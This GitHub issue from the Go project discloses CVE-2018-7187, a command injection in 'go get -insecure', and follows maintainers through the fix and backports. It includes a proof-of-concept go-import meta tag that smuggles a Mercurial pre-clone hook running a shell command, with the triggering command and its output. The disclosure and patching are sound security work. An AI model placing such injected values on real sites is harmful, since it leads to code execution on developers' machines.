Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

cmd/go: arbitrary command execution via VCS path #23867

Closed
Invizory opened this issue Feb 16, 2018 · 18 comments

Comments

@Invizory
Copy link
Contributor

commented Feb 16, 2018

I contacted security@golang.org about this and was allowed to create a public issue.

This has been assigned CVE-2018-7187.

What version of Go are you using (go version)?

go version go1.9.4 linux/amd64 (earlier versions are also affected)

Does this issue reproduce with the latest release?

Yes.

What did you do?

The go get implementation, when the -insecure command-line option is used, does not validate the import path, which allows remote attackers to execute arbitrary OS commands via a crafted website.

For example, this command should execute echo hello $USER:

go get -insecure khashaev.ru/go-vuln

See https://khashaev.ru/go-vuln/index.html:

<meta name="go-import" content="khashaev.ru/go-vuln hg --config=hooks.pre-clone=echo${IFS}hello${IFS}$USER;echo${IFS}https://>/dev/null">

The proof of concept presented above is targeting Mercurial.

What did you expect to see?

package khashaev.ru/go-vuln: unrecognized import path "khashaev.ru/go-vuln"

What did you see instead?

hello inviz
abort: repository /home/inviz/go/src/khashaev.ru/go-vuln not found!
package khashaev.ru/go-vuln: exit status 255
@gopherbot

This comment has been minimized.

Copy link

commented Feb 16, 2018

Change https://golang.org/cl/94656 mentions this issue: cmd/go: fix command injection in VCS path

@bradfitz bradfitz added the Security label Feb 16, 2018
@bradfitz

This comment has been minimized.

Copy link
Member

commented Feb 16, 2018

@ianlancetaylor and I discussed this and we were thinking something like https://go-review.googlesource.com/c/go/+/94603 which is a little bit safer (in terms of not breaking people), compared to https://golang.org/cl/94656. Especially for so late in the Go 1.10 cycle.

@bradfitz bradfitz added the NeedsFix label Feb 16, 2018
@bradfitz bradfitz added this to the Go1.10 milestone Feb 16, 2018
@andybons

This comment has been minimized.

Copy link
Member

commented Feb 16, 2018

@bradfitz @ianlancetaylor is this a release-blocker for Go1.10?

@gopherbot

This comment has been minimized.

Copy link

commented Feb 16, 2018

Change https://golang.org/cl/94603 mentions this issue: cmd/go: restrict meta imports to valid schemes

@ianlancetaylor

This comment has been minimized.

Copy link
Contributor

commented Feb 16, 2018

After thinking about a bit more I'm not sure that it is a release blocker for 1.10. As far as we can tell it is only insecure if you explicitly say go get -insecure. I'm not sure that calls for an immediate fix. I think it may be OK to fix this in 1.10.1.

@bradfitz ?

@ianlancetaylor

This comment has been minimized.

Copy link
Contributor

commented Feb 16, 2018

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@bradfitz

This comment has been minimized.

Copy link
Member

commented Feb 16, 2018

SGTM on both of the previous two comments.

@Invizory

This comment has been minimized.

Copy link
Contributor Author

commented Feb 16, 2018

This has been assigned CVE-2018-7187.

@gopherbot gopherbot closed this in c941e27 Feb 16, 2018
@ianlancetaylor

This comment has been minimized.

Copy link
Contributor

commented Feb 16, 2018

I've submitted my CL, setting up to backport to 1.10.1 and 1.9.4. @Invizory unfortunately you'll need to rebase your CL and fix the merge conflicts, then we can get that in for 1.11. Thanks.

@mikioh

This comment has been minimized.

Copy link
Contributor

commented Feb 16, 2018

s/1.9.4/1.9.5/ ?

@gopherbot gopherbot closed this in 1102616 Feb 17, 2018
@ianlancetaylor

This comment has been minimized.

Copy link
Contributor

commented Feb 17, 2018

The issue is fixed for 1.11, reopening for a backport to 1.10.1.

@ianlancetaylor ianlancetaylor modified the milestones: Go1.10, Go1.10.1 Feb 17, 2018
@dmitshur

This comment has been minimized.

Copy link
Member

commented Feb 17, 2018

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@ianlancetaylor What about golang.org/x/tools/go/vcs package? I can send a CL for it, but should we go with 94656 right away, or start with 94603 and apply 94656 later?

@ianlancetaylor

This comment has been minimized.

Copy link
Contributor

commented Feb 17, 2018

For golang.org/x we can use 94656 right away. Thanks.

@dmitshur dmitshur self-assigned this Feb 17, 2018
@gopherbot

This comment has been minimized.

Copy link

commented Feb 17, 2018

Change https://golang.org/cl/94899 mentions this issue: go/vcs: fix command injection in VCS path

@dmitshur

This comment has been minimized.

Copy link
Member

commented Feb 17, 2018

I've sent CL 94899 for golang.org/x.

@dmitshur dmitshur removed their assignment Feb 17, 2018
gopherbot pushed a commit to golang/tools that referenced this issue Feb 21, 2018
Apply same change as CL 94656 did for cmd/go/internal/get, but for
golang.org/x/tools/go/vcs, to help keep them in sync.

It indirectly includes changes from CL 94603, since CL 94656 was
rebased on top of CL 94603.

Updates golang/go#23867.
Helps golang/go#11490.

Change-Id: I33eca1aba19f47bbe3e83d4ef9f9cc9a9c9ae975
Reviewed-on: https://go-review.googlesource.com/94899
Reviewed-by: Ian Lance Taylor <iant@golang.org>
Run-TryBot: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
alindeman added a commit to alindeman/tools that referenced this issue Feb 23, 2018
Apply same change as CL 94656 did for cmd/go/internal/get, but for
golang.org/x/tools/go/vcs, to help keep them in sync.

It indirectly includes changes from CL 94603, since CL 94656 was
rebased on top of CL 94603.

Updates golang/go#23867.
Helps golang/go#11490.

Change-Id: I33eca1aba19f47bbe3e83d4ef9f9cc9a9c9ae975
Reviewed-on: https://go-review.googlesource.com/94899
Reviewed-by: Ian Lance Taylor <iant@golang.org>
Run-TryBot: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
@andybons

This comment has been minimized.

Copy link
Member

commented Mar 27, 2018

CL 94603 OK for Go 1.10.1

@gopherbot

This comment has been minimized.

Copy link

commented Mar 27, 2018

Change https://golang.org/cl/102776 mentions this issue: [release-branch.go1.9] cmd/go: restrict meta imports to valid schemes

@gopherbot

This comment has been minimized.

Copy link

commented Mar 27, 2018

Change https://golang.org/cl/102778 mentions this issue: [release-branch.go1.10] cmd/go: restrict meta imports to valid schemes

gopherbot pushed a commit that referenced this issue Mar 29, 2018
Before this change, when using -insecure, we permitted any meta import
repo root as long as it contained "://". When not using -insecure, we
restrict meta import repo roots to be valid URLs. People may depend on
that somehow, so permit meta import repo roots to be invalid URLs, but
require them to have valid schemes per RFC 3986.

Fixes #23867

Change-Id: Iac666dfc75ac321bf8639dda5b0dba7c8840922d
Reviewed-on: https://go-review.googlesource.com/94603
Reviewed-by: Brad Fitzpatrick <bradfitz@golang.org>
Reviewed-on: https://go-review.googlesource.com/102776
Run-TryBot: Andrew Bonventre <andybons@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
Reviewed-by: Ian Lance Taylor <iant@golang.org>
gopherbot pushed a commit that referenced this issue Mar 29, 2018
Before this change, when using -insecure, we permitted any meta import
repo root as long as it contained "://". When not using -insecure, we
restrict meta import repo roots to be valid URLs. People may depend on
that somehow, so permit meta import repo roots to be invalid URLs, but
require them to have valid schemes per RFC 3986.

Fixes #23867

Change-Id: Iac666dfc75ac321bf8639dda5b0dba7c8840922d
Reviewed-on: https://go-review.googlesource.com/94603
Reviewed-by: Brad Fitzpatrick <bradfitz@golang.org>
Reviewed-on: https://go-review.googlesource.com/102778
Run-TryBot: Andrew Bonventre <andybons@golang.org>
Reviewed-by: Ian Lance Taylor <iant@golang.org>
TryBot-Result: Gobot Gobot <gobot@golang.org>
@andybons andybons closed this Mar 29, 2018
netbsd-srcmastr pushed a commit to NetBSD/pkgsrc that referenced this issue Mar 30, 2018
This fixes a security issue (golang/go#23867).
Also:
These releases include fixes to the compiler, runtime, go command, and the
archive/zip, crypto/tls, crypto/x509, encoding/json, net, net/http, and
net/http/pprof packages.

ok wiz@ for committing during freeze
@golang golang locked and limited conversation to collaborators Mar 29, 2019
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
7 participants
You can’t perform that action at this time.